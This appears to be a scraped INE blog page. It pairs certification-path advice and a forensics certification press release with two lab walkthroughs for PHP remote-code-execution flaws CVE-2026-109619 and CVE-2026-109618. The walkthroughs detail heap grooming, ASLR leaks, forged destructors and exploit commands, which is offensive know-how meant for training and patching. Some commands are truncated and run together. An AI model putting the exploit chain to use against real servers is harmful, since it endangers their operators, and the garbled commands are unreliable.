interest you most, you do not need to follow a general infrastructure path. The eWPT certification focuses on professional web application penetration testing, including web assessment methodology, reconnaissance, application analysis, vulnerability assessment, exploitation, and web service testing.This path makes sense if you are interested in application security, web-focused consulting, or building deeper manual web testing skills.For mobile application specialization: Mobile Application Penetration Tester (eMAPT)If you want to focus on Android and iOS security, eMAPT becomes an option later in the Red Team path. INE currently suggests eMAPT for professionals who have already completed eJPT and eCPPT and want to specialize in mobile application security.That includes areas such as static and dynamic analysis, API and backend security, reverse engineering, and mobile-specific attack techniques.For advanced web application testing: Web Application Penetration Tester eXtreme (eWPTX)If you continue down the web application path, you can later progress to eWPTX, INE's advanced web application penetration testing certification.When Does OSCP Make Sense?OSCP can be a good choice once you have built the required technical foundation and have a clear reason to pursue it.That reason might be:A target employer consistently lists OSCPYou want the specific challenge and assessment styleYou already have substantial hands-on Linux, Windows administration, networking, and network scripting experienceThe credential carries meaningful recognition in your target marketThat is a much stronger reason to pursue OSCP than a vague sense that it is simply “what comes next.”How to Know You Are Ready for the Next CertificationBefore choosing another certification, ask what you can do without prompts:Can you enumerate a target methodically?Can you explain why a service or configuration deserves attention?Can you choose between several possible attack paths?Can you recover when the first exploit does not work?Can you pivot or continue an assessment after gaining access?Can you document what happened clearly enough that another person could follow the reasoning?If your answers are inconsistent, more repetitions may provide more value than a harder exam. If they’re solid, the next question is which systems you want to become better at testing.Choose the Next Skill, Not Just the Next BadgeThe best certification path is the one that matches the work you want to perform.If you want to build broader penetration testing skills, your next step will look different from someone specializing in web applications. Mobile security requires another skill set, and a role that specifically asks for OSCP may point you in a different direction again.That’s why eJPT works best as a foundation rather than a funnel. It gives you a practical starting point, then leaves room to deepen or specialize based on the work ahead.To explore the full range of current INE cybersecurity certifications and pathways, see the INE cybersecurity certification roadmap.FAQIs eJPT good for beginners?Yes. eJPT is designed as an entry-level practical penetration testing certification. It is a strong fit for learners who understand basic networking or systems concepts but still need to build a repeatable penetration testing methodology.Is eJPT easier than OSCP?eJPT is designed for an earlier stage of development than OSCP, so comparing the two only as "easy" and "hard" misses the point. eJPT validates foundational junior penetration testing skills, while OSCP expects a stronger technical base and uses a more demanding assessment model.Should a beginner take eJPT before OSCP?For many beginners, eJPT is a more appropriate first practical penetration testing certification because it focuses on building methodology and foundational skills. A learner with substantial prior offensive security experience may choose a different route.What certification should come after eJPT?For learners continuing in INE's Red Team path, eCPPT is the direct next milestone named by INE. Learners focused on web application testing may choose eWPT as a specialization route. eMAPT is positioned later for mobile application security after eJPT and eCPPT, while eWPTX supports advanced web application testing.Is OSCP required to become a penetration tester?No. There is no single certification required for every penetration testing role. Learners should review target job descriptions and build the skills, experience, and credentials those roles actually request.

    29 OCT 26The Request Died but Its Ghost Lived On: Inside PHP’s CVE-2026-109619 Image

    The Request Died but Its Ghost Lived On: Inside PHP’s CVE-2026-109619

    Imagine you are running a standard PHP application behind Apache. It serves pages, handles file uploads, tracks session state. Nothing exotic. One afternoon, two HTTP requests arrive at your server a few hundred milliseconds apart. The first one is a multipart upload that is deliberately too large. It crashes against the memory limit, and PHP tears it down. The second is another multipart upload that looks almost identical. It lands on the same Apache worker. By the time it finishes, someone who never authenticated, never exploited any application-level bug, and never touched your code is running shell commands as your web server user.That is CVE-2026-109619, and it targets something most PHP administrators never think about: what happens to worker-global state when a request dies mid-initialization. This post explains walks through the vulnerability, why it exists in PHP’s architecture, and how a pair of unauthenticated HTTP requests turns into remote code execution. It is based on a walkthrough of the INE Skill Dive Lab PHP2Shell: Exploiting Stale Global State. Don't have access to Skill Dive? Click here to learn more about Skill Dive, an immersive lab experience featuring thousands of hands-on labs. The interesting part is that this is not an application bug. It is a lifetime management failure in the PHP runtime itself, hiding in the gap between session initialization and request initialization.Vulnerability Overview
    CVECVE-2026-109619. Its sibling, CVE-2026-109618, is a separate bug fixed alongside it and is not covered here.Affected runtimePHP, the server-side scripting engine, when running as an Apache module (mod_php / apache2handler) with the prefork MPMAffected versionsPHP across multiple branches: 8.4.x before 8.4.27, 8.3.x before 8.3.36, 8.2.x before 8.2.35, and 8.5.x before 8.5.12. Source-only backports exist for 7.4, 8.0, and 8.1. The lab targets PHP 8.4.26.TypeUse-after-free in worker-global session state, leading to unauthenticated remote code execution.SeverityCVSS v4.0 score of 9.2 Critical, assigned by the PHP project.Attack VectorIn the demonstrated exploit chain, two sequential HTTP multipart requests to any PHP endpoint on a prefork Apache worker with session.upload_progress.enabled set to its default of On. The advisory describes additional stale-state paths beyond session upload progress.Exploitation in the WildEarly exploitation attempts were detected by Cloudflare WAF telemetry and independently reproduced by watchTowr. Multiple public proof-of-concept scripts exist, though few work reliably against default configurations due to ASLR on x86-64. The vulnerability has been dubbed “PHP2Shell” alongside its sibling, CVE-2026-109618.Confirmed impactUnauthenticated RCE over HTTP, demonstrated against Apache with mod_php on default settings, before any application code runs.Skill Dive CVE PHP2Shell: Exploiting Stale Global State
    The Setup: How Apache Keeps PHP AliveTo understand this bug, you need to understand one architectural decision that makes it possible. Apache’s prefork MPM spawns a pool of child processes. Each child handles one request at a time, sequentially. When PHP runs as mod_php (reported by PHP as the apache2handler SAPI), the PHP interpreter lives inside that Apache child process. It is not started fresh for each request. It persists.That persistence is the key. Between requests, the PHP runtime resets most of its state: it tears down the request heap, destroys variables, and reinitializes for the next request through a phase called RINIT (Request INITialization). But some state is deliberately kept across requests at the worker-global level, managed through module globals rather than per-request allocations.PHP’s session extension maintains one such piece of worker-global state: PS(http_session_vars). The PS() macro, defined in ext/session/php_session.h, accesses the session module’s global structure. PS(http_session_vars) is a pointer that, during a request, references the session data stored in the request’s own memory. Between requests, it is supposed to be reset to NULL so the next request starts clean.Now add one more feature to the picture: session upload progress. When session.upload_progress.enabled is On (which it is by default), PHP hooks into Apache’s multipart parsing very early, before RINIT even runs, to start tracking upload progress in the session. This early initialization is the crack in the wall.The entire vulnerability lives in the gap between “session state was initialized early” and “request state was cleaned up normally.” When something goes wrong in that gap, PS(http_session_vars) can be left pointing at memory that no longer belongs to the current request, or to any request at all.Act One: The Same-Request Sibling (CVE-2026-109618)CVE-2026-109619 is not PHP’s first encounter with this particular class of lifetime error. Its sibling, CVE-2026-109618, describes a related vulnerability in the same session-initialization code, but with a crucial difference: the trigger and the effect both happen within a single request.In CVE-2026-109618, the failure mode is a partially initialized cleanup path. A single request can reach a state where the session module’s initialization started (because of upload progress) but did not complete normally, and the cleanup path during that same request’s teardown does not properly account for the partial state. The result is a use-after-free, but it is scoped to the lifetime of one request.The fix for CVE-2026-109618 addressed the same-request cleanup path. But the deeper architectural issue, that PS(http_session_vars) is a worker-global pointer that can reference request-scoped memory, was not fully resolved. The pointer could still escape the request boundary.Act Two: The State That Crossed the BoundaryNow think about what happens when the failure is not contained within a single request.Request A arrives as a multipart upload. Because session.upload_progress.enabled is on, PHP’s session module hooks into the multipart parser early and begins session initialization before RINIT runs. During this early phase, PS(http_session_vars) is set to point into the request’s memory. Then the upload’s deliberately oversized field hits the configured memory limit, and PHP bails out with a fatal error.Here is where the lifetime violation occurs. During this abnormal shutdown, the session module’s reset logic is skipped. The request heap is freed, variables are torn down, the request is gone. But PS(http_session_vars) still holds its old value. It is a worker-global pointer, and it now points to freed memory from a dead request.The Apache child process does not exit. It is a prefork worker. It goes back to the connection pool and waits for the next request.Request B arrives. It is also a multipart upload, carefully constructed. When PHP begins processing it, the new request gets a fresh heap. The attacker’s controlled multipart data is allocated into this heap. With the right sizes and contents, this new data occupies the exact memory that the dead Request A’s session data used to occupy. The stale PS(http_session_vars) pointer now points to attacker-controlled data.When session initialization runs for Request B, it consumes PS(http_session_vars) before replacing it. It interprets the attacker’s data as a HashTable, PHP’s internal dictionary structure. The attacker has crafted this fake HashTable so that its destructor function pointer field points to zif_system, the C-level implementation of PHP’s system() function. When PHP’s cleanup code calls the destructor, it executes zif_system with attacker-controlled arguments.The result is arbitrary command execution as the web server user, typically www-data.How It Actually Works: The Producer/Consumer ChainLet us walk through the two requests in detail, because the exploit is a precisely sequenced two-phase operation.Phase 1: The ProducerThe producer request is a multipart POST to any PHP endpoint. Its job is to corrupt the worker’s global state and then die. The request carries:A PHP_SESSION_UPLOAD_PROGRESS field in the multipart body. This triggers the session upload progress handler, which runs before RINIT and initializes session state early, setting PS(http_session_vars) to point into the request’s memory.An oversized field that, when PHP tries to process it, pushes memory usage past the configured limit (in the lab, 8 MB). PHP raises a fatal error and begins abnormal shutdown.During this abnormal shutdown, the session module’s cleanup does not execute its full reset sequence. Specifically, it does not set PS(http_session_vars) back to NULL. The request heap is freed, but the pointer remains.The worker is now poisoned. It returns to the connection pool carrying a dangling pointer in PS(http_session_vars).Phase 2: The ConsumerThe consumer request targets the same worker. It is also a multipart POST, but its purpose is different: it fills the new request’s heap with controlled data that lands at the address the stale pointer references.This is a standard heap-spray technique adapted to PHP’s Zend Memory Manager. The exploit needs two pieces of information to succeed:The Zend MM chunk base address. PHP’s heap allocator organizes memory into chunks. Knowing the chunk base lets the exploit predict where allocations will land.The libphp base address. PHP is compiled as a shared library (libphp.so). Knowing its base address lets the exploit calculate the address of zif_system, the function it wants to call.The exploit leaks both addresses through earlier producer/consumer rounds, each tuned to produce a distinguishable pattern in PHP’s error output or response behavior.With both addresses in hand, the final consumer request places a forged HashTable structure at the address PS(http_session_vars) still points to. The forged table’s pDestructor field contains the calculated address of zif_system. When PHP’s session initialization code processes this structure during cleanup, it invokes the destructor, and the attacker’s command runs.Where it lives in the sourceThe critical code path spans two files in the PHP source tree:ext/session/session.c contains the session module’s implementation. The upload progress callback (php_session_rfc1867_callback) runs during multipart parsing before RINIT. The session initialization function (php_session_initialize) reads PS(http_session_vars) early in the next request. The gap between the two, across the request boundary, is where the stale pointer survives.ext/session/php_session.h defines the PS() macro that accesses the session module’s global state. PS(http_session_vars) is a zval * that, during normal operation, points to the current request’s session data. When the request dies abnormally, this pointer is not reset.Put the full chain in one sentence: the producer corrupts PS(http_session_vars) and dies, the consumer fills the freed memory with a fake HashTable whose destructor is zif_system, and PHP’s own session initialization runs the attacker’s command.The Lab: Exploiting It YourselfReading about a vulnerability is one thing. Triggering a use-after-free across request boundaries is another. Here is a walkthrough of exploiting CVE-2026-109619 end-to-end in a lab environment, from a Kali box to code execution on the target.The EnvironmentThe lab target runs the Northstar Claims Gateway on PHP 8.4.26 with Apache mod_php in prefork mode, reachable from a Kali attack box at:http://northstar.localItemValueTargetnorthstar.localServiceHTTP on TCP/80RuntimePHP 8.4.26, Apache mod_php/preforkSAPIapache2handlerExploit script/root/Desktop/exploit-109619.pyFixed versionPHP 8.4.27 or laterStep 1: Enumerate the service and headersRun a focused service scan:nmap -Pn -sT -sV --version-light -p 80 northstar.localThen inspect the root response:curl -sI http://northstar.local/The nmap scan identifies Apache 2.4.69 on port 80. The HTTP response headers reveal X-Powered-By: PHP/8.4.26 and Server: Apache/2.4.69 (Debian). Apache is reachable, and PHP is running.Step 2: Inspect the applicationOpen Firefox in the Kali desktop and browse to:http://northstar.local/Northstar appears as a claims data gateway with an adjuster workspace, validation workflow, and service-status page. The application itself is not the target. The vulnerability is in the PHP runtime beneath it.Step 3: Discover hidden pathsRead robots.txt:curl -s http://northstar.local/robots.txtIt reveals three disallowed paths: /support/, /ops/, and /storage/.Enumerate both operational paths:ffuf -w /usr/share/dirb/wordlists/common.txt \
      -u http://northstar.local/ops/FUZZ \
      -mc 200,301,302,401,403 -ac -s
    ffuf -w /usr/share/dirb/wordlists/common.txt \
      -u http://northstar.local/support/FUZZ \
      -mc 200,301,302,401,403 -ac -sThe directory enumeration reveals change-log.txt under /ops/ and runtime.php under /support/.Step 4: Gather runtime and deployment evidenceRead the operations note:curl -s http://northstar.local/ops/change-log.txtRead the diagnostics page:curl -s http://northstar.local/support/runtime.phpThe browser-rendered diagnostics page provides the same runtime evidence:Together, the change log and diagnostics page identify:PHP 8.4.26 as the runtime.apache2handler as the SAPI, confirming mod_php.A persistent single-worker prefork gateway.Session-backed multipart uploads and upload-progress telemetry still active.These four conditions, PHP 8.4.26 under apache2handler with a single persistent prefork worker and session upload progress enabled, are exactly the preconditions for CVE-2026-109619.Step 5: Locate the exploitThe lab provides a commit-pinned PoC from the public CVE-2026-109619 repository on the Kali desktop:cd /root/Desktop/
    lsThe file exploit-109619.py is the lab’s driver script. It implements the full producer/consumer chain: heap leak, library leak, and final stale-reference trigger.Step 6: Run the producer/consumer chainUse three leak retries. The exploit performs five final-stage attempts (retries + 2). The || true suffix allows subsequent verification commands to run regardless of the driver’s local proof-file exit status, because the standalone target shares no filesystem with Kali:python3 exploit-109619.py \
      -u http://northstar.local/service-status.php \
      -c 'sh  --proof /tmp/not-mounted \
      --retries 3 || trueThe 13-byte command shcurl -s http://northstar.local/storage/uploads/flag.txtThe first response returns uid=33(www-data) gid=33(www-data) groups=33(www-data), proving the controlled command ran as www-data. The second returns the flag.If the heap or library leak misses on every attempt, rerun the identical exploit command. The PoC is deliberately calibrated to the pinned image and endpoint.What Just HappenedNo application vulnerability was exploited. No authentication was bypassed. The exploit targeted the PHP runtime itself: a worker-global pointer that was not reset when a request died abnormally. Two HTTP requests, one to poison the worker and one to reclaim the freed memory, turned a session-management lifetime error into arbitrary code execution.The defining failure is that request-scoped memory remained reachable through worker-global state after the request heap was freed. The code assumed that request shutdown always runs to completion. It does not, and the session upload progress handler creates a window where early initialization leaves state that late cleanup does not reach.The Fix in PHP 8.4.27PHP 8.4.27 corrects the lifetime management so that PS(http_session_vars) is properly reset during abnormal request shutdown, regardless of whether the session module’s full cleanup path executes. The pointer no longer survives the request boundary.Disabling session.upload_progress.enabled removes this specific producer/consumer route, because the early session initialization that sets PS(http_session_vars) before RINIT no longer fires. However, PHP’s own advisory warns that configuration changes are not a complete generic mitigation for stale worker-global state. The authoritative fix is updating to PHP 8.4.27 or later and restarting all Apache workers.DetectionDefensive evidence of exploitation attempts includes:Repeated multipart requests containing PHP_SESSION_UPLOAD_PROGRESS fields.Memory-exhaustion errors (Allowed memory size exhausted) occurring before normal application execution begins.Corrupted-heap or segmentation fault messages in Apache error logs, followed by worker crashes.Rapid worker replacement between pairs of similar multipart requests.Unexpected files or processes created by www-data or the web server user.ReferencesPHP security advisory for CVE-2026-109619 (GHSA-6wmf-4rv5-p3rp)Pinned public CVE-2026-109619 lab PoCTry this exploit for yourself within Skill Dive’s CVE lab collection, regularly updated with the latest vulnerabilities.

    29 OCT 26The Crash That Runs Your Code: Inside PHP's CVE-2026-109618 (PHP2Shell) Image

    The Crash That Runs Your Code: Inside PHP's CVE-2026-109618 (PHP2Shell)

    Most vulnerabilities give an attacker something they can see: an endpoint that takes input it shouldn't, a parameter that ends up in a database query, a file path that escapes its directory. CVE-2026-109618 is stranger than that. The way in is to make PHP run out of memory at an unlucky moment, and then take advantage of the mess PHP makes while it is falling over.It is one of two bugs disclosed together in October 2026 under the name PHP2Shell. Both live in PHP itself, the interpreter that runs behind a huge share of the websites you use every day, rather than in any plugin or framework or anything a developer wrote. That is what makes it worth paying attention to. You can have perfectly clean application code and still be exposed, because the problem is a layer underneath your code.This post explains what the bug actually is and is based on a walkthrough of the INE Skill Dive Lab PHP2Shell: Exploiting PHP Memory Corruption. You can use the lab to follow along and learn how to exploit it yourself in a lab environment. Don't have access to Skill Dive? Click here to learn more about Skill Dive, an immersive lab experience featuring thousands of hands-on labs.Vulnerability OverviewCVECVE-2026-109618. Its sibling, CVE-2026-109619, is a separate bug fixed alongside it and is not covered here.Affected productPHP itself (php-src), the core interpreterAffected versionsPHP 8.2 before 8.2.35, 8.3 before 8.3.36, 8.4 before 8.4.27, and 8.5 before 8.5.12TypeUnauthenticated remote code execution caused by memory corruption.Severity9.2 Critical on CVSS v4.0Confirmed impactUnauthenticated RCE over HTTP, demonstrated against Apache with mod_php on default settings, before any application code runs.Skill Dive CVE PHP2Shell: Exploiting PHP Memory CorruptionWhat PHP does when it runs out of memoryTo understand this bug you only need to understand one thing about how PHP works internally, and it is not complicated.Every PHP process has a memory budget, set by memory_limit. When a request tries to use more memory than that, PHP has to stop it. The clean way to stop would be to return an error back through every function that is currently running, letting each one tidy up as control passes back through it. PHP doesn't do that. The interpreter is a big body of C code, and an out-of-memory error can happen at almost any allocation anywhere in it, so instead of threading an error return through every one of those call sites, PHP handles it in one place.So PHP takes a shortcut that C programs have used for decades. It is called longjmp(), and the easiest way to picture it is as an emergency exit. Early in handling a request, PHP props the exit open and says, in effect, “if something goes badly wrong anywhere in here, jump straight back to this door.” PHP calls this its bailout. When an allocation fails, PHP doesn't walk back out the way it came in, through all the functions it is nested inside. It goes straight for the exit and skips past all of them.For most of PHP's history that was a fine trade. Jumping is fast and simple, and running out of memory was treated as a rare, fatal, nothing-more-to-do event. If a request died, it died.The catch is in that word skips. The functions PHP jumps over don't get to finish what they were doing, and they don't get to clean up after themselves. That is harmless right up until one of those half-finished functions left something behind that another part of PHP is going to look at later and assume is finished.The unlucky momentHere is where it goes wrong.The place this goes wrong is the window while PHP is still building the internal state a request needs: the tables and structures that hold the request together. In the advisory's words, “request memory is temporarily reachable before it is fully initialized.” The clearest example, and the one confirmed against Apache's mod_php, is during request startup, before your application code runs at all. PHP is parsing the incoming request body and setting things up, and for a brief instant some of those structures are visible to the rest of the engine before they are finished. The pointer to the structure exists, but the structure it points to isn't complete yet. (This isn't strictly a startup-only problem. The advisory notes PHP-FPM can reach the same bad state after startup too. Startup is just where it is easiest to see and where it has been confirmed.)Normally that instant passes in microseconds and nothing notices. But if an allocation fails during that instant, PHP does what it always does: it takes the emergency exit. The jump lands PHP back at the door, out of the half-finished work. Then PHP runs its normal end-of-request cleanup, because as far as it is concerned the request is over and needs tidying up. On Apache with mod_php this is guaranteed: the advisory notes that mod_php “unconditionally invokes the request shutdown procedure, even when request startup has failed.”That cleanup code finds the half-built structure, sees the pointer, and treats it as real, because under every normal circumstance it would be. It reads from memory that was never initialized, or that is already gone. That is the “corruption” in the advisory's title. Here is PHP's own description:“PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).”The PHP Foundation put it in plainer language: “If a request reached PHP's memory_limit at exactly the wrong moment, PHP could leave partially initialized internal data behind and later treat it as valid, corrupting memory.”So an attacker needs to do two things that, from outside a web server, they should have no business doing: make PHP run out of memory on command, and do it at the precise point where that broken-pointer window is open. The advisory's phrase “multiple OOM strategies can consistently trigger this” is the uncomfortable part. There is more than one reliable way to steer PHP into exhausting memory at a chosen spot. The researchers who reported it took it the rest of the way to running their own code on the server, as the account the web server runs under. The general shape of a working chain is now understood: reclaim the freed memory with predictable heap allocations, leak enough information to defeat ASLR, and steer a stale pointer into something PHP will execute. PHP rates the overall attack complexity as high, so this is not something a casual scanner trips into. But “hard” is not “safe,” and the lab walkthrough later in this post demonstrates that shape end to end.Why it doesn't matter how good your code isWith most web bugs, you have some say in your own defense. You can validate input, require a login, add a WAF rule, patch the vulnerable library.This bug sits underneath all of that. The corruption happens while PHP is starting up, before your application gets control of the request. On Apache with mod_php, PHP's advisory confirms an unauthenticated attacker can reach the flaw over HTTP, on default settings, before a line of your code runs. Wiz, one of the firms that found the bug, made the point directly: even a bare “Hello World” page on an affected version is exposed. Your code never gets a chance to weigh in.That said, not every way of running PHP is equally exposed, and it is worth being precise instead of scaring everyone equally. Here is what PHP's advisory actually claims for each setup:Apache mod_php: Confirmed. Unauthenticated RCE validated on default settings. mod_php runs its cleanup even when startup fails, which is exactly the path that gets abused.PHP-FPM: Source analysis suggests it is affected, but the advisory does not claim a full working exploit against it. When startup fails, FPM exits the worker, which makes the same trick harder. (One nuance: the PHP Foundation's own write-up says RCE was confirmed on FPM, but through application-level code paths rather than the before-your-code path. The clean way to state it: mod_php is the confirmed pre-authentication, pre-application case; FPM is reachable, but by a harder and more conditional route.)FrankenPHP: Likely susceptible to the same application-independent attack as mod_php, based on source analysis: the advisory says FrankenPHP also calls the request shutdown procedure unconditionally. Not separately demonstrated.LiteSpeed (LSAPI): The advisory says LSAPI “models FPM,” so application-specific exploits are “likely but unvalidated.” In other words, closer to the FPM case than the mod_php one.The short version: the confirmed worst case is mod_php, and the rest range from “probably” to “not proven.” That is useful for deciding what to fix first. It is not a reason to relax, because the fix and the urgency are the same across all of them.The Lab: Exploiting It YourselfHere is a walkthrough of exploiting CVE-2026-109618 in a lab environment, from a Kali box to code execution on the target.The EnvironmentThe lab target, ArchiveFlow Partner Exchange, is a mock partner document-exchange web application reachable from a Kali attack box at archiveflow.local. It runs the vulnerable PHP 8.4.26 under Apache mod_php/prefork, the exact deployment PHP's advisory confirms as the pre-authentication worst case. The exploit script, exploit-109618.py (Exploit-DB EDB-52704), is already staged on the Kali desktop, along with the wordlists used for enumeration.Before starting, it is worth knowing what makes this particular target reliably exploitable, because the public exploit chain depends on more than just an old PHP version:memory_limit=8M, while the exploit deliberately sends a larger multipart field to force the out-of-memory bailout.post_max_size=64M and upload_max_filesize=64M, so the oversized request is accepted far enough to reach PHP's parsing stage instead of being rejected upfront.session.upload_progress.enabled=On, which supplies the early session processing the vulnerable window needs.session.use_strict_mode=0, with cookies enabled, so attacker-influenced session state is accepted.A single Apache prefork worker, with keep-alive disabled, which makes the heap-reuse behavior the exploit depends on predictable.Error display enabled, so the in-band Set-Cookie disclosures the exploit relies on for its heap and libphp leaks can actually be recovered.No login or prior access to the target is required; the vulnerability is reachable by an unauthenticated attacker over plain HTTP.One more thing to know going in: the exploit's live `zend_string` carrier, the piece of corrupted memory that ultimately gets executed, accepts at most 14 command bytes. That is too short to carry a useful payload like a reverse shell one-liner. To make the lab completable without that constraint getting in the way, a small proof helper is pre-staged on the target at `/opt/lab/x`. When invoked, it writes `id` output to the web-served proof file `storage/uploads/p` and copies the lab flag to `storage/uploads/flag.txt`. The trigger command used against it, `shcurl -s http://archiveflow.local/robots.txtThe response identifies Apache and PHP 8.4.26. robots.txt points toward support, backup, and storage paths worth enumerating.Step 4: Discover application contentUse the installed DIRB wordlist with ffuf:ffuf -w /usr/share/dirb/wordlists/common.txt \
      -u http://archiveflow.local/FUZZ \
      -mc 200,301,302,401,403 -ac -sFuzz the backup/ directory for readable files:ffuf \
      -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt \
      -u http://archiveflow.local/backup/FUZZ \
      -mc 200 \
      -acThis reveals release-notes.txt. Inspect it:curl -s http://archiveflow.local/backup/release-notes.txtThe note confirms three important conditions: PHP 8.4.26, Apache prefork, and multipart intake processing, exactly the ingredients the vulnerability needs.Step 5: Confirm the runtime interfaceFuzz the support/ directory for files, appending the .php extension:ffuf \
      -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt \
      -u http://archiveflow.local/support/FUZZ \
      -e .php \
      -mc 200 \
      -acThis reveals diagnostics.php. Access it at http://archiveflow.local/support/diagnostics.php.The relevant values are runtime PHP 8.4.26, interface apache2handler, host archiveflow. apache2handler confirms mod_php, which matters because request startup, shutdown, and worker lifetime all happen inside one persistent Apache process, the highest-risk deployment described in PHP's advisory.Step 6: Understand what's about to happenPHP 8.4.26 predates the fixed 8.4.27 release, and the target carries the reliability settings described above. The sequence the exploit drives:A large multipart request forces an out-of-memory bailout during request parsing, the exact unlucky moment described earlier in this post.Partially initialized request data stays reachable during cleanup instead of being discarded.Follow-up requests reclaim predictable Zend heap allocations in that freed space.Cookie data discloses the Zend MM chunk base and a libphp pointer, enough to defeat ASLR.The exploit derives ASLR-adjusted addresses and places a forged HashTable in the reclaimed memory.PHP invokes the forged destructor, which points to zif_system, PHP's internal system() implementation, and command execution follows.Step 7: Check the staged PoCpython3 ~/Desktop/exploit-109618.py --help | headStep 8: Execute the CVE-2026-109618 chainRun the exploit against a simple PHP endpoint. Two offsets are passed explicitly: --zif-offset is the offset of zif_system inside libphp.so, and --dtor-offset is the offset of ZVAL_PTR_DTOR. Both are fixed properties of this exact PHP build; they are relative offsets only, and the real ASLR-randomized addresses are leaked and recovered at runtime by the exploit itself.python3 ~/Desktop/exploit-109618.py \
      -u http://archiveflow.local/status.php \
      -c 'sh  --proof-file '' \
      --fetch /storage/uploads/flag.txt \
      --zif-offset 0x465370 \
      --dtor-offset 0x65eb60 \
      --retries 5Successful output contains the leaked Zend MM heap chunk base, the leaked libphp base used to defeat ASLR, the calculated addresses used in the forged structure, confirmation of a successful final-stage execution attempt, and the retrieved proof. This is a build-calibrated memory-corruption chain: if all leak attempts miss, rerun the same command rather than changing the hostname, endpoint, or offsets.Step 9: Verify the impact independentlycurl -s http://archiveflow.local/storage/uploads/p
    curl -s http://archiveflow.local/storage/uploads/flag.txtThe first response proves the command ran as the Apache worker account. The second is the recovered flag.What just happenedNo credentials, no login page, no application vulnerability of any kind. A crafted multipart request pushed PHP into an out-of-memory bailout at exactly the moment its own internal bookkeeping was unfinished, and the cleanup code that ran afterward trusted memory it should have thrown away. Everything downstream, the heap leak, the ASLR bypass, the forged destructor, is PHP acting exactly as designed on data it was never supposed to see in that state. The only thing application code could have done differently here is not run PHP 8.4.26.Fixed in: PHP 8.2.35, 8.3.36, 8.4.27, and 8.5.12. Per PHP's advisory, the patch removes longjmp() for out-of-memory handling entirely, replacing it with a delayed, graceful “soft” OOM triggered at the next VM safe point, and an immediate “hard” OOM that calls _exit() if memory use reaches a second, higher threshold, with no cleanup at all. The advisory states that updating to a fixed release is the only complete mitigation. According to Debian's security tracker, the end-of-life 7.4, 8.0, and 8.1 branches received source backports rather than official binaries; 7.3 and older have no fix at all.ReferencesPHP Security Advisory GHSA-w8hw-w9fx-j79w, “RCE via OOM corruption”CVE record, CVE-2026-109618PHP security team announcement (oss-security, Oct 21, 2026)The PHP Foundation, “Today's PHP security release and how we're strengthening PHP security”PHP ChangeLog (8.x)watchTowr, PHP2Shell analysisWiz, “PHP2Shell”Debian security tracker, CVE-2026-109618
    Note: the sibling vulnerability, CVE-2026-109619 (“RCE via stale global state,” GHSA-6wmf-4rv5-p3rp), is covered separately.Try this exploit for yourself within Skill Dive's CVE lab collection, regularly updated with the latest vulnerabilities.

    28 OCT 26INE Launches Rebuilt eCDFP Certification to Validate End-to-End Digital Forensics and Incident Response Skills Image

    INE Launches Rebuilt eCDFP Certification to Validate End-to-End Digital Forensics and Incident Response Skills

    Professional-level, hands-on certification prepares DFIR practitioners to preserve evidence, conduct defensible investigations across endpoint, storage, network, and log data, and produce investigation-grade reporting.
    CARY, N.C., October 28, 2026— As digital investigations increasingly span endpoints, storage media, network traffic, and enterprise telemetry, INE, a leading global provider of hands-on technical training and certifications, today announced the launch of the rebuilt Certified Digital Forensics Professional (eCDFP) certification.Designed for experienced cybersecurity professionals, eCDFP validates the practical skills required to own digital forensics and incident response (DFIR) investigations end to end: scope and preserve evidence, perform defensible acquisition and triage, analyze endpoint and storage artifacts, correlate network and log telemetry, build defensible timelines, and communicate findings through clear, investigation-grade reporting.Organizations increasingly need practitioners who can do more than examine isolated artifacts or operate a single forensic tool. Real investigations require analysts to make sound collection decisions, preserve evidence integrity, reconcile conflicting timestamps, corroborate findings across multiple data sources, and document both conclusions and limitations. The rebuilt eCDFP is designed around that full investigative workflow.“Strong digital forensics is not just about finding an artifact. It’s about building a defensible story from evidence that can stand up to technical, operational, legal, and compliance scrutiny,” said Brian McGahan, CCIE Security and Director of Networking Content   at INE. “The rebuilt eCDFP is designed to validate that complete workflow—from acquisition and evidence handling through cross-source analysis, timeline engineering, and reporting—so practitioners can demonstrate the skills required to support real-world incident response.”Unlike training centered on a single forensic product, eCDFP is vendor-neutral and focused on transferable investigation skills. The certification evaluates six core areas:Evidence handling, scope, standards, and defensibilityAcquisition, triage, and data validationEndpoint forensics, with Windows as the primary focus and Linux essentials for enterprise incident responseStorage media, file systems, recovery, and anti-forensicsNetwork, logs, and telemetry forensicsTimeline engineering, reporting, and case closureThe corresponding Digital Forensics Professional learning path is a rebuilt seven-course track designed as a progression from core DFIR methodology through full-stack investigations. Training covers defensible acquisition, Windows endpoint and application artifacts, file systems and storage, memory for incident response, network forensics, logs and Linux essentials, timeline engineering, reporting, and capstone investigations.eCDFP is built for DFIR and incident response practitioners, SOC Tier 2/3 analysts moving deeper into forensics, MSSP/MSP responders and IR leads, digital forensic examiners and technicians, threat hunters, detection engineers, and security consultants who are expected to produce repeatable, defensible investigation outcomes.The rebuilt Certified Digital Forensics Professional (eCDFP) certification and Digital Forensics Professional learning path will be available beginning today, October 28, 2026.To learn more about the Certified Digital Forensics Professional (eCDFP), visit the eCDFP certification page.About INEINE is the premier provider of online networking, cybersecurity, cloud, and IT infrastructure training and certifications. Through expert-led instruction, hands-on labs, and practical learning paths, INE helps individuals and organizations build the technical skills needed to succeed in today's rapidly evolving technology landscape. Serving Fortune 500 enterprises, government agencies, and IT professionals worldwide, INE is committed to developing real-world expertise that prepares learners for today's most demanding technical roles.

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